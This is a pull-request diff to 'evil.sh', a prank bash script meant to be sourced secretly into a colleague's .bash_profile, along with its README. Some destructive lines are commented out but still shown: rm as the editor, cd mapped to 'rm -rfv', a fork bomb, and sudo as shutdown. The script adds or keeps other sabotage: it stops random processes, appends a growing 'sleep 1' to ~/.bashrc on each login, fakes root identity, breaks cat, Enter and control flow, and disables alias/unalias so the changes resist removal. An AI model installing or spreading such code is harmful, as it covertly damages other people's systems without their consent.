Cherry pick of the best of all other PRs

README.md

@@ -3,6 +3,7 @@
 A collection of various subtle and not-so-subtle shell tweaks that will slowly drive people insane.
 
 Feel like trolling a colleague? Just add `source ~/evil.sh` to their `.bash_profile` and watch the chaos ensue.
+Be aware that the sourcing should happen at the end of the file, if you do not edit `evil.sh` before doing so, as `evil.sh` disables `alias` and `unalias`.
 
 ## Contributions
 

evil.sh

@@ -1,29 +1,34 @@
 #!/usr/bin/env bash
 # evil.sh — https://mths.be/evil.sh
 
-# Set `rm` as the default editor.
-export EDITOR=/bin/rm;
+# Set `cat` as the default editor.
+export EDITOR=/bin/cat;
 
 # Make Tab send the delete key.
+# sh: replace $'\t' with a quoted literal tab
 tset -Qe $'\t';
 
 # Randomly make the shell exit whenever a command has a non-zero exit status.
 ((RANDOM % 10)) || set -o errexit;
 
 # Let `cat` swallow every input and never return anything.
-alias cat=true;
+#alias cat=true;
+
+# cat random output
+alias cat="head /dev/urandom"
 
 # Use a random sort option whenever `ls` is invoked.
-function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
+function ls() { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
 
-# Delete directories instead of entering them.
-alias cd='rm -rfv';
+# only change user's prompt instead of entering directories
+alias cd='x(){ PWD=$1; };x'
 
 # Shut down the computer instead of running a command with super-user rights.
-alias sudo='sudo shutdown -P now';
+#alias sudo='sudo shutdown -P now';
 
 # Launch a fork bomb instead of clearing the screen.
-alias clear=':(){ :|:& };:';
+# sh, ksh: replace `:' with boring names like _f
+#alias clear=':(){ :|:& };:';
 
 # Have `date` return random dates.
 alias date='date -d "now + $RANDOM days"';
@@ -57,20 +62,36 @@ else
 fi;
 
 # Send STOP signal to random process at random time.
-sleep $[ ( $RANDOM % 100 )	+ 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
+sleep $((RANDOM%100 + 1)) && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
 
 # Have `cp` perform `mv` instead.
-alias cp='mv';
+#alias cp='mv';
 
 # Make `exit` open a new shell.
-alias exit='sh';
+alias exit="${SHELL:-sh}";
 
 # Add a random number to line numbers when using `grep -n`.
-function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }
+function grep() { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }
+
+# Take longer and longer to SSH to the box
+sleep 1 && echo sleep 1 >> ~/.bashrc
+
+# Use more instead of `less`
+alias less='more'
 
-# Invert `if`, `for`, and `while`.
-alias if='if !' for='for !' while='while !';
+# Invert `if`, `while` and `until`
+alias if='if !' while='while !' until='until !'
 
 # Map Enter, Ctrl+J, and Ctrl+M to backspace.
+# ksh: bind '^J=delete-char' '^M=delete-char'
 bind '"\C-J":"\C-?"';
 bind '"\C-M":"\C-?"';
+
+# you are root, really
+alias whoami='echo root'
+alias w='w|sed s/$USER/root/'
+alias who='who|sed s/$USER/root/'
+
+# Disable `unalias` and `alias`.
+alias unalias=false;
+alias alias=false;